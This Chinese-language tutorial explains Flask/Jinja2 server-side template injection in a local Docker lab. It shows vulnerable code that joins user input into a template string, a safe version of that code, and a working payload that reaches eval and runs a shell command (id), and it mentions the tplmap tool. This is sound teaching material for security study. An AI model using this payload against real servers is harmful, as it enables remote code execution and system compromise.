flask-ssti
环境搭建
kali里面用
docker-compose up -d
部署环境
用这个指令查看端口
docker-compose ps

访问ip和端口就可以看到已经有了漏洞环境
可以用这个
docker-compose down
指令关闭docker。
注意,要在对应漏洞的环境
这是第一篇,以后不写这么部署环境了
漏洞利用

这里可以看到源码,理解很简单,我们可以通过name传入参数。
试试

经典测试
这里我们思考一下原理
为什么会存在ssti,这是因为这段代码中存在一个字符串拼接的一个情况,
使用了字符串拼接的方式,将用户输入的变量 name 直接和静态字符串 "Hello " 进行拼接,形成一个新的字符串,从而组成了待渲染的模板字符串。由于字符串拼接的方式不能简单地解析出其中可能存在的恶意代码,因此就会在渲染模板时产生 SSTI 漏洞,使得攻击者可以注入任意代码。
点击查看代码
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
@app.route("/safe")
def safe():
name = request.args.get('name', 'guest')
t = Template("Hello {{n}}")
return t.render(n=name)
if __name__ == "__main__":
app.run()
思考一下,我们现在有一个ssti注入点,我们可以利用这个点干什么。官方给了一个任意代码执行的poc
点击查看代码
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

这样就完成了一次利用ssti最基础的任意代码执行的一个操作
当然我们可以用神器tplmap

懂不懂一步到位

浙公网安备 33010602011771号